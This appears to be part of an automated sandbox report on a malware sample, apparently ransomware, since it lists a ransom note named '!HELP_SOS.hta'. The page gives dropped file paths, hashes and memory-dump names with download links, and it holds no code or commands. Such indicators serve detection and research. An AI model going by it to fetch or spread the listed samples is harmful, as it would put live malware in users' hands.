SHA512 d0b71bdda5deb18edd39e20151fd76870c329a823312f709b15a2169b678484e24ba455ac45bf4e8de88467f9e43704b72fb6a7c6c6d171f4d338808c45159b6
TLSH
T10BF0541067E91114F2F3BE617FB550550E39B962E922D71D44D0174E44B19188D2AF6A
MD5 SHA1 SHA512 TLSH

Submit Download

s1qoaKDO.tmp

Path C:\Users\Admin\AppData\Roaming\s1qoaKDO.tmp
Size 72B
SHA256 becfea2f382ee08249192b547b155fe3370d7c7092f6f3d5e891c51b4712b85e
MD5 9c64eb7db640d8b9d5340e2e9b7df675
SHA1 6cbc1890055062baae622c0b2d5db8000607516a
SHA512 5ab377f3bc7f8d8bbfe980995cdb4e3c7dae9f930993354892e8a13c67631f15bf9a272d345908bdbf682dd16c51d99426f9c83535a9b4ac6e81b83d137320e9
TLSH
T1CEA02280C200B30CEE22003C8AC0300AE20A02C00C2CF3CE303208020C20C8A28BA200
MD5 SHA1 SHA512 TLSH

Submit Download

MergeJoin.txt...

Path C:\Users\Admin\Downloads\MergeJoin.txt...
Size 722KB
SHA256 8fb0be8e8054109c0a8f3b3a7f8f489d63a82781706e4eb83e9d0e40541d80f5
MD5 29a2d98b55f72f6231d7d472b5f4189d
SHA1 f649406d8c5d62c4eeac8eae6950cd109ebfd99d
SHA512 4c81df6c2eb1fff5f492716bad9e5b548f840fde2d28f8e29a80d8cf16fd74f1796fd119454b24f55fd2b3a2aea02b9c1e1cd28577d2e8c8221ebdb1bd5589b4
SSDEEP 12288:IVAqJDuqyQvjo9+ngyC4sQOFs0PzOvYgKqy3rontQC8ItUhJlVen1e:8fQqBM9mBb0P6vYBqSrOtrUhPQs
TLSH
T19DF423947D062A03CEE5EC68435459CE995DB443888460E14FFF91B3CC2BBBA978637E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ResizeSplit.wps...

Path C:\Users\Admin\Downloads\ResizeSplit.wps...
Size 570KB
SHA256 fc5a70d03004526bd5dfe6dd107b07191b2fbc57f2b2afdaca394c7832787716
MD5 309e2aab3c61f76c069baa976185c9b9
SHA1 af344181d394a4f5e1a5168679d86aff4c9359f2
SHA512 0dbf9157bd9f74d6e184d0b3d17bc1e112e8d9da847c05ea68e3726c146240d24c2b3c70daddeeb0ebcf57f05dd35494bf7f52cbc9e64700daad02f17202d7c7
SSDEEP 12288:coaSshK5jMlt1vEHx8AcYHUZ4fL05nH8/k3D:cdSxwFrAclZ4j05kMD
TLSH
T133C423DC9D147DC8D35DAFC298D9B49ACF958DFEEA09308700A525FA0C52A46E0F712E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

!HELP_SOS.hta

Path C:\Users\Admin\Pictures\!HELP_SOS.hta
Size 91KB
SHA256 5e3adbf969f1ecad20c5166489818f10baf61bd48e5eeea9aab85884cb3a3b6b
MD5 6c6d8437df4469b4b23fd8b10f66043e
SHA1 7c8ac325bf930d265102c8dec3c168c467e6614e
SHA512 c0e2affff120ed3431bf1d3fb4d913c12fff0e76c1a63c472c5685934fe3bda8f2bd43788b6ec3b7cfe5f17b955990576de7a4609d292ff8831ba73b14fbf45d
SSDEEP 1536:uwOWLu3KU8C83xgdmiQ+6pQ2U6AQSp7I35/Qd8nTdgLxxst4ygZkPkhFgcq6YGh1:uwJIQhgdmiB6pQ2UVQSxI35/QdeZgLxn
TLSH
T1E4934B60DBCDB83A276726CB60A16279F0AF2D31C70AD602F5B7437471D2D54BA0D8A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3944-19-0x0000000000720000-0x000000000074A000-memory.dmp

Download

memory/3944-1850-0x0000000000720000-0x000000000074A000-memory.dmp

Download

memory/3944-27-0x0000000000720000-0x000000000074A000-memory.dmp

Download

memory/4284-24-0x0000000000400000-0x000000000046E000-memory.dmp

Download

memory/4548-6-0x0000000002630000-0x0000000002631000-memory.dmp

Download

memory/4548-4-0x0000000002630000-0x0000000002631000-memory.dmp

Download

memory/4548-13-0x0000000000400000-0x000000000046E000-memory.dmp

Download

memory/4548-14-0x0000000000415000-0x0000000000416000-memory.dmp

Download

memory/4548-16-0x0000000000400000-0x000000000046E000-memory.dmp

Download

memory/4548-18-0x0000000000400000-0x000000000046E000-memory.dmp

Download

memory/4548-10-0x0000000002630000-0x0000000002631000-memory.dmp

Download

memory/4548-9-0x0000000002630000-0x0000000002631000-memory.dmp

Download

memory/4548-8-0x0000000002730000-0x00000000027B0000-memory.dmp

Download

memory/4548-1-0x0000000002730000-0x00000000027B0000-memory.dmp

Download

memory/4548-7-0x0000000002630000-0x0000000002631000-memory.dmp

Download

memory/4548-0-0x0000000000400000-0x000000000046E000-memory.dmp

Download

memory/4548-5-0x0000000002630000-0x0000000002631000-memory.dmp

Download

memory/4548-11-0x0000000002630000-0x0000000002631000-memory.dmp

Download

memory/4548-2-0x0000000002630000-0x0000000002631000-memory.dmp

Download

memory/4548-3-0x0000000000400000-0x000000000046E000-memory.dmp

Download

memory/4748-26-0x0000000000400000-0x000000000046E000-memory.dmp

Download